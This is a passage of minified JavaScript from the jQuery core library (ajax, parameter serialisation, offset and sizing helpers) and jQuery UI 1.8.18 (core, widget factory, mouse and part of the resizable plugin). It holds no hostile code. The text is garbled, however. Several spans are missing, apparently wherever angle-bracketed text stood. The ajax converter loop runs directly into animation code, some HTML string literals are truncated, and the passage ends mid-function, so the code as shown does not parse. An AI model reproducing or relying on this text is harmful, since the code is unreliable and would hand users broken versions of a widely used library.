this};bD.url=((bz||bD.url)+"").replace(bq,"").replace(c,s[1]+"//");bD.dataTypes=b.trim(bD.dataType||"*").toLowerCase().split(h);if(bD.crossDomain==null){bI=K.exec(bD.url.toLowerCase());bD.crossDomain=!!(bI&&(bI[1]!=s[1]||bI[2]!=s[2]||(bI[3]||(bI[1]==="http:"?80:443))!=(s[3]||(s[1]==="http:"?80:443))))}if(bD.data&&bD.processData&&typeof bD.data!=="string"){bD.data=b.param(bD.data,bD.traditional)}aW(aa,bD,bx,bJ);if(bA===2){return false}bw=bD.global;bD.type=bD.type.toUpperCase();bD.hasContent=!aQ.test(bD.type);if(bw&&b.active++===0){b.event.trigger("ajaxStart")}if(!bD.hasContent){if(bD.data){bD.url+=(M.test(bD.url)?"&":"?")+bD.data;delete bD.data}bC=bD.url;if(bD.cache===false){var bv=b.now(),bP=bD.url.replace(br,"$1_="+bv);bD.url=bP+((bP===bD.url)?(M.test(bD.url)?"&":"?")+"_="+bv:"")}}if(bD.data&&bD.hasContent&&bD.contentType!==false||bx.contentType){bJ.setRequestHeader("Content-Type",bD.contentType)}if(bD.ifModified){bC=bC||bD.url;if(b.lastModified[bC]){bJ.setRequestHeader("If-Modified-Since",b.lastModified[bC])}if(b.etag[bC]){bJ.setRequestHeader("If-None-Match",b.etag[bC])}}bJ.setRequestHeader("Accept",bD.dataTypes[0]&&bD.accepts[bD.dataTypes[0]]?bD.accepts[bD.dataTypes[0]]+(bD.dataTypes[0]!=="*"?", "+aV+"; q=0.01":""):bD.accepts["*"]);for(bK in bD.headers){bJ.setRequestHeader(bK,bD.headers[bK])}if(bD.beforeSend&&(bD.beforeSend.call(bS,bJ,bD)===false||bA===2)){bJ.abort();return false}for(bK in {success:1,error:1,complete:1}){bJ[bK](bD[bK])}bL=aW(r,bD,bx,bJ);if(!bL){bF(-1,"No Transport")}else{bJ.readyState=1;if(bw){bG.trigger("ajaxSend",[bJ,bD])}if(bD.async&&bD.timeout>0){bE=setTimeout(function(){bJ.abort("timeout")},bD.timeout)}try{bA=1;bL.send(bH,bF)}catch(bM){if(bA<2){bF(-1,bM)}else{throw bM}}}return bJ},param:function(e,bw){var bv=[],by=function(bz,bA){bA=b.isFunction(bA)?bA():bA;bv[bv.length]=encodeURIComponent(bz)+"="+encodeURIComponent(bA)};if(bw===L){bw=b.ajaxSettings.traditional}if(b.isArray(e)||(e.jquery&&!b.isPlainObject(e))){b.each(e,function(){by(this.name,this.value)})}else{for(var bx in e){v(bx,e[bx],bw,by)}}return bv.join("&").replace(k,"+")}});function v(bw,by,bv,bx){if(b.isArray(by)){b.each(by,function(bA,bz){if(bv||ap.test(bw)){bx(bw,bz)}else{v(bw+"["+(typeof bz==="object"||b.isArray(bz)?bA:"")+"]",bz,bv,bx)}})}else{if(!bv&&by!=null&&typeof by==="object"){for(var e in by){v(bw+"["+e+"]",by[e],bv,bx)}}else{bx(bw,by)}}}b.extend({active:0,lastModified:{},etag:{}});function bj(bD,bC,bz){var bv=bD.contents,bB=bD.dataTypes,bw=bD.responseFields,by,bA,bx,e;for(bA in bw){if(bA in bz){bC[bw[bA]]=bz[bA]}}while(bB[0]==="*"){bB.shift();if(by===L){by=bD.mimeType||bC.getResponseHeader("content-type")}}if(by){for(bA in bv){if(bv[bA]&&bv[bA].test(by)){bB.unshift(bA);break}}}if(bB[0] in bz){bx=bB[0]}else{for(bA in bz){if(!bB[0]||bD.converters[bA+" "+bB[0]]){bx=bA;break}if(!e){e=bA}}bx=bx||e}if(bx){if(bx!==bB[0]){bB.unshift(bx)}return bz[bx]}}function G(bH,bz){if(bH.dataFilter){bz=bH.dataFilter(bz,bH.dataType)}var bD=bH.dataTypes,bG={},bA,bE,bw=bD.length,bB,bC=bD[0],bx,by,bF,bv,e;for(bA=1;bA=bw.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();bw.animatedProperties[this.prop]=true;for(bA in bw.animatedProperties){if(bw.animatedProperties[bA]!==true){e=false}}if(e){if(bw.overflow!=null&&!b.support.shrinkWrapBlocks){b.each(["","X","Y"],function(bC,bD){bz.style["overflow"+bD]=bw.overflow[bC]})}if(bw.hide){b(bz).hide()}if(bw.hide||bw.show){for(bA in bw.animatedProperties){b.style(bz,bA,bw.orig[bA]);b.removeData(bz,"fxshow"+bA,true);b.removeData(bz,"toggle"+bA,true)}}bv=bw.complete;if(bv){bw.complete=false;bv.call(bz)}}return false}else{if(bw.duration==Infinity){this.now=bx}else{bB=bx-this.startTime;this.state=bB/bw.duration;this.pos=b.easing[bw.animatedProperties[this.prop]](this.state,bB,0,1,bw.duration);this.now=this.start+((this.end-this.start)*this.pos)}this.update()}return true}};b.extend(b.fx,{tick:function(){var bw,bv=b.timers,e=0;for(;e").appendTo(e),bw=bv.css("display");bv.remove();if(bw==="none"||bw===""){if(!a8){a8=av.createElement("iframe");a8.frameBorder=a8.width=a8.height=0}e.appendChild(a8);if(!m||!a8.createElement){m=(a8.contentWindow||a8.contentDocument).document;m.write((av.compatMode==="CSS1Compat"?"":"")+"");m.close()}bv=m.createElement(bx);m.body.appendChild(bv);bw=b.css(bv,"display");e.removeChild(a8)}Q[bx]=bw}return Q[bx]}var V=/^t(?:able|d|h)$/i,ad=/^(?:body|html)$/i;if("getBoundingClientRect" in av.documentElement){b.fn.offset=function(bI){var by=this[0],bB;if(bI){return this.each(function(e){b.offset.setOffset(this,bI,e)})}if(!by||!by.ownerDocument){return null}if(by===by.ownerDocument.body){return b.offset.bodyOffset(by)}try{bB=by.getBoundingClientRect()}catch(bF){}var bH=by.ownerDocument,bw=bH.documentElement;if(!bB||!b.contains(bw,by)){return bB?{top:bB.top,left:bB.left}:{top:0,left:0}}var bC=bH.body,bD=aK(bH),bA=bw.clientTop||bC.clientTop||0,bE=bw.clientLeft||bC.clientLeft||0,bv=bD.pageYOffset||b.support.boxModel&&bw.scrollTop||bC.scrollTop,bz=bD.pageXOffset||b.support.boxModel&&bw.scrollLeft||bC.scrollLeft,bG=bB.top+bv-bA,bx=bB.left+bz-bE;return{top:bG,left:bx}}}else{b.fn.offset=function(bF){var bz=this[0];if(bF){return this.each(function(bG){b.offset.setOffset(this,bF,bG)})}if(!bz||!bz.ownerDocument){return null}if(bz===bz.ownerDocument.body){return b.offset.bodyOffset(bz)}var bC,bw=bz.offsetParent,bv=bz,bE=bz.ownerDocument,bx=bE.documentElement,bA=bE.body,bB=bE.defaultView,e=bB?bB.getComputedStyle(bz,null):bz.currentStyle,bD=bz.offsetTop,by=bz.offsetLeft;while((bz=bz.parentNode)&&bz!==bA&&bz!==bx){if(b.support.fixedPosition&&e.position==="fixed"){break}bC=bB?bB.getComputedStyle(bz,null):bz.currentStyle;bD-=bz.scrollTop;by-=bz.scrollLeft;if(bz===bw){bD+=bz.offsetTop;by+=bz.offsetLeft;if(b.support.doesNotAddBorder&&!(b.support.doesAddBorderForTableAndCells&&V.test(bz.nodeName))){bD+=parseFloat(bC.borderTopWidth)||0;by+=parseFloat(bC.borderLeftWidth)||0}bv=bw;bw=bz.offsetParent}if(b.support.subtractsBorderForOverflowNotVisible&&bC.overflow!=="visible"){bD+=parseFloat(bC.borderTopWidth)||0;by+=parseFloat(bC.borderLeftWidth)||0}e=bC}if(e.position==="relative"||e.position==="static"){bD+=bA.offsetTop;by+=bA.offsetLeft}if(b.support.fixedPosition&&e.position==="fixed"){bD+=Math.max(bx.scrollTop,bA.scrollTop);by+=Math.max(bx.scrollLeft,bA.scrollLeft)}return{top:bD,left:by}}}b.offset={bodyOffset:function(e){var bw=e.offsetTop,bv=e.offsetLeft;if(b.support.doesNotIncludeMarginInBodyOffset){bw+=parseFloat(b.css(e,"marginTop"))||0;bv+=parseFloat(b.css(e,"marginLeft"))||0}return{top:bw,left:bv}},setOffset:function(bx,bG,bA){var bB=b.css(bx,"position");if(bB==="static"){bx.style.position="relative"}var bz=b(bx),bv=bz.offset(),e=b.css(bx,"top"),bE=b.css(bx,"left"),bF=(bB==="absolute"||bB==="fixed")&&b.inArray("auto",[e,bE])>-1,bD={},bC={},bw,by;if(bF){bC=bz.position();bw=bC.top;by=bC.left}else{bw=parseFloat(e)||0;by=parseFloat(bE)||0}if(b.isFunction(bG)){bG=bG.call(bx,bA,bv)}if(bG.top!=null){bD.top=(bG.top-bv.top)+bw}if(bG.left!=null){bD.left=(bG.left-bv.left)+by}if("using" in bG){bG.using.call(bx,bD)}else{bz.css(bD)}}};b.fn.extend({position:function(){if(!this[0]){return null}var bw=this[0],bv=this.offsetParent(),bx=this.offset(),e=ad.test(bv[0].nodeName)?{top:0,left:0}:bv.offset();bx.top-=parseFloat(b.css(bw,"marginTop"))||0;bx.left-=parseFloat(b.css(bw,"marginLeft"))||0;e.top+=parseFloat(b.css(bv[0],"borderTopWidth"))||0;e.left+=parseFloat(b.css(bv[0],"borderLeftWidth"))||0;return{top:bx.top-e.top,left:bx.left-e.left}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||av.body;while(e&&(!ad.test(e.nodeName)&&b.css(e,"position")==="static")){e=e.offsetParent}return e})}});b.each(["Left","Top"],function(bv,e){var bw="scroll"+e;b.fn[bw]=function(bz){var bx,by;if(bz===L){bx=this[0];if(!bx){return null}by=aK(bx);return by?("pageXOffset" in by)?by[bv?"pageYOffset":"pageXOffset"]:b.support.boxModel&&by.document.documentElement[bw]||by.document.body[bw]:bx[bw]}return this.each(function(){by=aK(this);if(by){by.scrollTo(!bv?bz:b(by).scrollLeft(),bv?bz:b(by).scrollTop())}else{this[bw]=bz}})}});function aK(e){return b.isWindow(e)?e:e.nodeType===9?e.defaultView||e.parentWindow:false}b.each(["Height","Width"],function(bv,e){var bw=e.toLowerCase();b.fn["inner"+e]=function(){var bx=this[0];return bx?bx.style?parseFloat(b.css(bx,bw,"padding")):this[bw]():null};b.fn["outer"+e]=function(by){var bx=this[0];return bx?bx.style?parseFloat(b.css(bx,bw,by?"margin":"border")):this[bw]():null};b.fn[bw]=function(bz){var bA=this[0];if(!bA){return bz==null?null:this}if(b.isFunction(bz)){return this.each(function(bE){var bD=b(this);bD[bw](bz.call(this,bE,bD[bw]()))})}if(b.isWindow(bA)){var bB=bA.document.documentElement["client"+e],bx=bA.document.body;return bA.document.compatMode==="CSS1Compat"&&bB||bx&&bx["client"+e]||bB}else{if(bA.nodeType===9){return Math.max(bA.documentElement["client"+e],bA.body["scroll"+e],bA.documentElement["scroll"+e],bA.body["offset"+e],bA.documentElement["offset"+e])}else{if(bz===L){var bC=b.css(bA,bw),by=parseFloat(bC);return b.isNumeric(by)?by:bC}else{return this.css(bw,typeof bz==="string"?bz:bz+"px")}}}}});bb.jQuery=bb.$=b;if(typeof define==="function"&&define.amd&&define.amd.jQuery){define("jquery",[],function(){return b})}})(window);/*! + * jQuery UI 1.8.18 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI + */ +(function(a,d){a.ui=a.ui||{};if(a.ui.version){return}a.extend(a.ui,{version:"1.8.18",keyCode:{ALT:18,BACKSPACE:8,CAPS_LOCK:20,COMMA:188,COMMAND:91,COMMAND_LEFT:91,COMMAND_RIGHT:93,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,MENU:93,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38,WINDOWS:91}});a.fn.extend({propAttr:a.fn.prop||a.fn.attr,_focus:a.fn.focus,focus:function(e,f){return typeof e==="number"?this.each(function(){var g=this;setTimeout(function(){a(g).focus();if(f){f.call(g)}},e)}):this._focus.apply(this,arguments)},scrollParent:function(){var e;if((a.browser.msie&&(/(static|relative)/).test(this.css("position")))||(/absolute/).test(this.css("position"))){e=this.parents().filter(function(){return(/(relative|absolute|fixed)/).test(a.curCSS(this,"position",1))&&(/(auto|scroll)/).test(a.curCSS(this,"overflow",1)+a.curCSS(this,"overflow-y",1)+a.curCSS(this,"overflow-x",1))}).eq(0)}else{e=this.parents().filter(function(){return(/(auto|scroll)/).test(a.curCSS(this,"overflow",1)+a.curCSS(this,"overflow-y",1)+a.curCSS(this,"overflow-x",1))}).eq(0)}return(/fixed/).test(this.css("position"))||!e.length?a(document):e},zIndex:function(h){if(h!==d){return this.css("zIndex",h)}if(this.length){var f=a(this[0]),e,g;while(f.length&&f[0]!==document){e=f.css("position");if(e==="absolute"||e==="relative"||e==="fixed"){g=parseInt(f.css("zIndex"),10);if(!isNaN(g)&&g!==0){return g}}f=f.parent()}}return 0},disableSelection:function(){return this.bind((a.support.selectstart?"selectstart":"mousedown")+".ui-disableSelection",function(e){e.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}});a.each(["Width","Height"],function(g,e){var f=e==="Width"?["Left","Right"]:["Top","Bottom"],h=e.toLowerCase(),k={innerWidth:a.fn.innerWidth,innerHeight:a.fn.innerHeight,outerWidth:a.fn.outerWidth,outerHeight:a.fn.outerHeight};function j(m,l,i,n){a.each(f,function(){l-=parseFloat(a.curCSS(m,"padding"+this,true))||0;if(i){l-=parseFloat(a.curCSS(m,"border"+this+"Width",true))||0}if(n){l-=parseFloat(a.curCSS(m,"margin"+this,true))||0}});return l}a.fn["inner"+e]=function(i){if(i===d){return k["inner"+e].call(this)}return this.each(function(){a(this).css(h,j(this,i)+"px")})};a.fn["outer"+e]=function(i,l){if(typeof i!=="number"){return k["outer"+e].call(this,i)}return this.each(function(){a(this).css(h,j(this,i,true,l)+"px")})}});function c(g,e){var j=g.nodeName.toLowerCase();if("area"===j){var i=g.parentNode,h=i.name,f;if(!g.href||!h||i.nodeName.toLowerCase()!=="map"){return false}f=a("img[usemap=#"+h+"]")[0];return !!f&&b(f)}return(/input|select|textarea|button|object/.test(j)?!g.disabled:"a"==j?g.href||e:e)&&b(g)}function b(e){return !a(e).parents().andSelf().filter(function(){return a.curCSS(this,"visibility")==="hidden"||a.expr.filters.hidden(this)}).length}a.extend(a.expr[":"],{data:function(g,f,e){return !!a.data(g,e[3])},focusable:function(e){return c(e,!isNaN(a.attr(e,"tabindex")))},tabbable:function(g){var e=a.attr(g,"tabindex"),f=isNaN(e);return(f||e>=0)&&c(g,!f)}});a(function(){var e=document.body,f=e.appendChild(f=document.createElement("div"));f.offsetHeight;a.extend(f.style,{minHeight:"100px",height:"auto",padding:0,borderWidth:0});a.support.minHeight=f.offsetHeight===100;a.support.selectstart="onselectstart" in f;e.removeChild(f).style.display="none"});a.extend(a.ui,{plugin:{add:function(f,g,j){var h=a.ui[f].prototype;for(var e in j){h.plugins[e]=h.plugins[e]||[];h.plugins[e].push([g,j[e]])}},call:function(e,g,f){var j=e.plugins[g];if(!j||!e.element[0].parentNode){return}for(var h=0;h0){return true}h[e]=1;g=(h[e]>0);h[e]=0;return g},isOverAxis:function(f,e,g){return(f>e)&&(f<(e+g))},isOver:function(j,f,i,h,e,g){return a.ui.isOverAxis(j,i,e)&&a.ui.isOverAxis(f,h,g)}})})(jQuery);/*! + * jQuery UI Widget 1.8.18 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Widget + */ +(function(b,d){if(b.cleanData){var c=b.cleanData;b.cleanData=function(f){for(var g=0,h;(h=f[g])!=null;g++){try{b(h).triggerHandler("remove")}catch(j){}}c(f)}}else{var a=b.fn.remove;b.fn.remove=function(e,f){return this.each(function(){if(!f){if(!e||b.filter(e,[this]).length){b("*",this).add([this]).each(function(){try{b(this).triggerHandler("remove")}catch(g){}})}}return a.call(b(this),e,f)})}}b.widget=function(f,h,e){var g=f.split(".")[0],j;f=f.split(".")[1];j=g+"-"+f;if(!e){e=h;h=b.Widget}b.expr[":"][j]=function(k){return !!b.data(k,f)};b[g]=b[g]||{};b[g][f]=function(k,l){if(arguments.length){this._createWidget(k,l)}};var i=new h();i.options=b.extend(true,{},i.options);b[g][f].prototype=b.extend(true,i,{namespace:g,widgetName:f,widgetEventPrefix:b[g][f].prototype.widgetEventPrefix||f,widgetBaseClass:j},e);b.widget.bridge(f,b[g][f])};b.widget.bridge=function(f,e){b.fn[f]=function(i){var g=typeof i==="string",h=Array.prototype.slice.call(arguments,1),j=this;i=!g&&h.length?b.extend.apply(null,[true,i].concat(h)):i;if(g&&i.charAt(0)==="_"){return j}if(g){this.each(function(){var k=b.data(this,f),l=k&&b.isFunction(k[i])?k[i].apply(k,h):k;if(l!==k&&l!==d){j=l;return false}})}else{this.each(function(){var k=b.data(this,f);if(k){k.option(i||{})._init()}else{b.data(this,f,new e(i,this))}})}return j}};b.Widget=function(e,f){if(arguments.length){this._createWidget(e,f)}};b.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",options:{disabled:false},_createWidget:function(f,g){b.data(g,this.widgetName,this);this.element=b(g);this.options=b.extend(true,{},this.options,this._getCreateOptions(),f);var e=this;this.element.bind("remove."+this.widgetName,function(){e.destroy()});this._create();this._trigger("create");this._init()},_getCreateOptions:function(){return b.metadata&&b.metadata.get(this.element[0])[this.widgetName]},_create:function(){},_init:function(){},destroy:function(){this.element.unbind("."+this.widgetName).removeData(this.widgetName);this.widget().unbind("."+this.widgetName).removeAttr("aria-disabled").removeClass(this.widgetBaseClass+"-disabled ui-state-disabled")},widget:function(){return this.element},option:function(f,g){var e=f;if(arguments.length===0){return b.extend({},this.options)}if(typeof f==="string"){if(g===d){return this.options[f]}e={};e[f]=g}this._setOptions(e);return this},_setOptions:function(f){var e=this;b.each(f,function(g,h){e._setOption(g,h)});return this},_setOption:function(e,f){this.options[e]=f;if(e==="disabled"){this.widget()[f?"addClass":"removeClass"](this.widgetBaseClass+"-disabled ui-state-disabled").attr("aria-disabled",f)}return this},enable:function(){return this._setOption("disabled",false)},disable:function(){return this._setOption("disabled",true)},_trigger:function(e,f,g){var j,i,h=this.options[e];g=g||{};f=b.Event(f);f.type=(e===this.widgetEventPrefix?e:this.widgetEventPrefix+e).toLowerCase();f.target=this.element[0];i=f.originalEvent;if(i){for(j in i){if(!(j in f)){f[j]=i[j]}}}this.element.trigger(f,g);return !(b.isFunction(h)&&h.call(this.element[0],f,g)===false||f.isDefaultPrevented())}}})(jQuery);/*! + * jQuery UI Mouse 1.8.18 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Mouse + * + * Depends: + * jquery.ui.widget.js + */ +(function(b,c){var a=false;b(document).mouseup(function(d){a=false});b.widget("ui.mouse",{options:{cancel:":input,option",distance:1,delay:0},_mouseInit:function(){var d=this;this.element.bind("mousedown."+this.widgetName,function(e){return d._mouseDown(e)}).bind("click."+this.widgetName,function(e){if(true===b.data(e.target,d.widgetName+".preventClickEvent")){b.removeData(e.target,d.widgetName+".preventClickEvent");e.stopImmediatePropagation();return false}});this.started=false},_mouseDestroy:function(){this.element.unbind("."+this.widgetName)},_mouseDown:function(f){if(a){return}(this._mouseStarted&&this._mouseUp(f));this._mouseDownEvent=f;var e=this,g=(f.which==1),d=(typeof this.options.cancel=="string"&&f.target.nodeName?b(f.target).closest(this.options.cancel).length:false);if(!g||d||!this._mouseCapture(f)){return true}this.mouseDelayMet=!this.options.delay;if(!this.mouseDelayMet){this._mouseDelayTimer=setTimeout(function(){e.mouseDelayMet=true},this.options.delay)}if(this._mouseDistanceMet(f)&&this._mouseDelayMet(f)){this._mouseStarted=(this._mouseStart(f)!==false);if(!this._mouseStarted){f.preventDefault();return true}}if(true===b.data(f.target,this.widgetName+".preventClickEvent")){b.removeData(f.target,this.widgetName+".preventClickEvent")}this._mouseMoveDelegate=function(h){return e._mouseMove(h)};this._mouseUpDelegate=function(h){return e._mouseUp(h)};b(document).bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate);f.preventDefault();a=true;return true},_mouseMove:function(d){if(b.browser.msie&&!(document.documentMode>=9)&&!d.button){return this._mouseUp(d)}if(this._mouseStarted){this._mouseDrag(d);return d.preventDefault()}if(this._mouseDistanceMet(d)&&this._mouseDelayMet(d)){this._mouseStarted=(this._mouseStart(this._mouseDownEvent,d)!==false);(this._mouseStarted?this._mouseDrag(d):this._mouseUp(d))}return !this._mouseStarted},_mouseUp:function(d){b(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate);if(this._mouseStarted){this._mouseStarted=false;if(d.target==this._mouseDownEvent.target){b.data(d.target,this.widgetName+".preventClickEvent",true)}this._mouseStop(d)}return false},_mouseDistanceMet:function(d){return(Math.max(Math.abs(this._mouseDownEvent.pageX-d.pageX),Math.abs(this._mouseDownEvent.pageY-d.pageY))>=this.options.distance)},_mouseDelayMet:function(d){return this.mouseDelayMet},_mouseStart:function(d){},_mouseDrag:function(d){},_mouseStop:function(d){},_mouseCapture:function(d){return true}})})(jQuery);(function(c,d){c.widget("ui.resizable",c.ui.mouse,{widgetEventPrefix:"resize",options:{alsoResize:false,animate:false,animateDuration:"slow",animateEasing:"swing",aspectRatio:false,autoHide:false,containment:false,ghost:false,grid:false,handles:"e,s,se",helper:false,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:1000},_create:function(){var f=this,k=this.options;this.element.addClass("ui-resizable");c.extend(this,{_aspectRatio:!!(k.aspectRatio),aspectRatio:k.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:k.helper||k.ghost||k.animate?k.helper||"ui-resizable-helper":null});if(this.element[0].nodeName.match(/canvas|textarea|input|select|button|img/i)){this.element.wrap(c('
').css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")}));this.element=this.element.parent().data("resizable",this.element.data("resizable"));this.elementIsWrapper=true;this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")});this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0});this.originalResizeStyle=this.originalElement.css("resize");this.originalElement.css("resize","none");this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"}));this.originalElement.css({margin:this.originalElement.css("margin")});this._proportionallyResize()}this.handles=k.handles||(!c(".ui-resizable-handle",this.element).length?"e,s,se":{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"});if(this.handles.constructor==String){if(this.handles=="all"){this.handles="n,e,s,w,se,sw,ne,nw"}var l=this.handles.split(",");this.handles={};for(var g=0;g
');if(/sw|se|ne|nw/.test(j)){h.css({zIndex:++k.zIndex})}if("se"==j){h.addClass("ui-icon ui-icon-gripsmall-diagonal-se")}this.handles[j]=".ui-resizable-"+j;this.element.append(h)}}this._renderAxis=function(q){q=q||this.element;for(var n in this.handles){if(this.handles[n].constructor==String){this.handles[n]=c(this.handles[n],this.element).show()}if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){var o=c(this.handles[n],this.element),p=0;p=/sw|ne|nw|se|n|s/.test(n)?o.outerHeight():o.outerWidth();var m=["padding",/ne|nw|n/.test(n)?"Top":/se|sw|s/.test(n)?"Bottom":/^e$/.test(n)?"Right":"Left"].join("");q.css(m,p);this._proportionallyResize()}if(!c(this.handles[n]).length){continue}}};this._renderAxis(this.element);this._handles=c(".ui-resizable-handle",this.element).disableSelection();this._handles.mouseover(function(){if(!f.resizing){if(this.className){var i=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)}f.axis=i&&i[1]?i[1]:"se"}});if(k.autoHide){this._handles.hide();c(this.element).addClass("ui-resizable-autohide").hover(function(){if(k.disabled){return}c(this).removeClass("ui-resizable-autohide");f._handles.show()},function(){if(k.disabled){return}if(!f.resizing){c(this).addClass("ui-resizable-autohide");f._handles.hide()}})}this._mouseInit()},destroy:function(){this._mouseDestroy();var e=function(g){c(g).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};if(this.elementIsWrapper){e(this.element);var f=this.element;f.after(this.originalElement.css({position:f.css("position"),width:f.outerWidth(),height:f.outerHeight(),top:f.css("top"),left:f.css("left")})).remove()}this.originalElement.css("resize",this.originalResizeStyle);e(this.originalElement);return this},_mouseCapture:function(f){var g=false;for(var e in this.handles){if(c(this.handles[e])[0]==f.target){g=true}}return !this.options.disabled&&g},_mouseStart:function(g){var j=this.options,f=this.element.position(),e=this.element;this.resizing=true;this.documentScroll={top:c(document).scrollTop(),left:c(document).scrollLeft()};if(e.is(".ui-draggable")||(/absolute/).test(e.css("position"))){e.css({position:"absolute",top:f.top,left:f.left})}this._renderProxy();var k=b(this.helper.css("left")),h=b(this.helper.css("top"));if(j.containment){k+=c(j.containment).scrollLeft()||0;h+=c(j.containment).scrollTop()||0}this.offset=this.helper.offset();this.position={left:k,top:h};this.size=this._helper?{width:e.outerWidth(),height:e.outerHeight()}:{width:e.width(),height:e.height()};this.originalSize=this._helper?{width:e.outerWidth(),height:e.outerHeight()}:{width:e.width(),height:e.height()};this.originalPosition={left:k,top:h};this.sizeDiff={width:e.outerWidth()-e.width(),height:e.outerHeight()-e.height()};this.originalMousePosition={left:g.pageX,top:g.pageY};this.aspectRatio=(typeof j.aspectRatio=="number")?j.aspectRatio:((this.originalSize.width/this.originalSize.height)||1);var i=c(".ui-resizable-"+this.axis).css("cursor");c("body").css("cursor",i=="auto"?this.axis+"-resize":i);e.addClass("ui-resizable-resizing");this._propagate("start",g);return true},_mouseDrag:function(e){var h=this.helper,g=this.options,m={},q=this,j=this.originalMousePosition,n=this.axis;var r=(e.pageX-j.left)||0,p=(e.pageY-j.top)||0;var i=this._change[n];if(!i){return false}var l=i.apply(this,[e,r,p]),k=c.browser.msie&&c.browser.version<7,f=this.sizeDiff;this._updateVirtualBoundaries(e.shiftKey);if(this._aspectRatio||e.shiftKey){l=this._updateRatio(l,e)}l=this._respectSize(l,e);this._propagate("resize",e);h.css({top:this.position.top+"px",left:this.position.left+"px",width:this.size.width+"px",height:this.size.height+"px"});if(!this._helper&&this._proportionallyResizeElements.length){this._proportionallyResize()}this._updateCache(l);this._trigger("resize",e,this.ui());return false},_mouseStop:function(h){this.resizing=false;var i=this.options,m=this;if(this._helper){var g=this._proportionallyResizeElements,e=g.length&&(/textarea/i).test(g[0].nodeName),f=e&&c.ui.hasScroll(g[0],"left")?0:m.sizeDiff.height,k=e?0:m.sizeDiff.width;var n={width:(m.helper.width()-k),height:(m.helper.height()-f)},j=(parseInt(m.element.css("left"),10)+(m.position.left-m.originalPosition.left))||null,l=(parseInt(m.element.css("top"),10)+(m.position.top-m.originalPosition.top))||null;if(!i.animate){this.element.css(c.extend(n,{top:l,left:j}))}m.helper.height(m.size.height);m.helper.width(m.size.width);if(this._helper&&!i.animate){this._proportionallyResize()}}c("body").css("cursor","auto");this.element.removeClass("ui-resizable-resizing");this._propagate("stop",h);if(this._helper){this.helper.remove()}return false},_updateVirtualBoundaries:function(g){var j=this.options,i,h,f,k,e;e={minWidth:a(j.minWidth)?j.minWidth:0,maxWidth:a(j.maxWidth)?j.maxWidth:Infinity,minHeight:a(j.minHeight)?j.minHeight:0,maxHeight:a(j.maxHeight)?j.maxHeight:Infinity};if(this._aspectRatio||g){i=e.minHeight*this.aspectRatio;f=e.minWidth/this.aspectRatio;h=e.maxHeight*this.aspectRatio;k=e.maxWidth/this.aspectRatio;if(i>e.minWidth){e.minWidth=i}if(f>e.minHeight){e.minHeight=f}if(hl.width),s=a(l.height)&&i.minHeight&&(i.minHeight>l.height);if(h){l.width=i.minWidth}if(s){l.height=i.minHeight}if(t){l.width=i.maxWidth}if(m){l.height=i.maxHeight}var f=this.originalPosition.left+this.originalSize.width,p=this.position.top+this.size.height;var k=/sw|nw|w/.test(q),e=/nw|ne|n/.test(q);if(h&&k){l.left=f-i.minWidth}if(t&&k){l.left=f-i.maxWidth}if(s&&e){l.top=p-i.minHeight}if(m&&e){l.top=p-i.maxHeight}var n=!l.width&&!l.height;if(n&&!l.left&&l.top){l.top=null}else{if(n&&!l.top&&l.left){l.left=null}}return l},_proportionallyResize:function(){var k=this.options;if(!this._proportionallyResizeElements.length){return}var g=this.helper||this.element;for(var f=0;f');var e=c.browser.msie&&c.browser.version<7,g=(e?1:0),h=(e?2:-1);this.helper.addClass(this._helper).css({width:this.element.outerWidth()+h,height:this.element.outerHeight()+h,position:"absolute",left:this.elementOffset.left-g+"px",top:this.elementOffset.top-g+"px",zIndex:++i.zIndex});this.helper.appendTo("body").disableSelection()}else{this.helper=this.element}},_change:{e:function(g,f,e){return{width:this.originalSize.width+f}},w:function(h,f,e){var j=this.options,g=this.originalSize,i=this.originalPosition;return{left:i.left+f,width:g.width-f}},n:function(h,f,e){var j=this.options,g=this.originalSize,i=this.originalPosition;return{top:i.top+e,height:g.height-e}},s:function(g,f,e){return{height:this.originalSize.height+e}},se:function(g,f,e){return c.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[g,f,e]))},sw:function(g,f,e){return c.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[g,f,e]))},ne:function(g,f,e){return 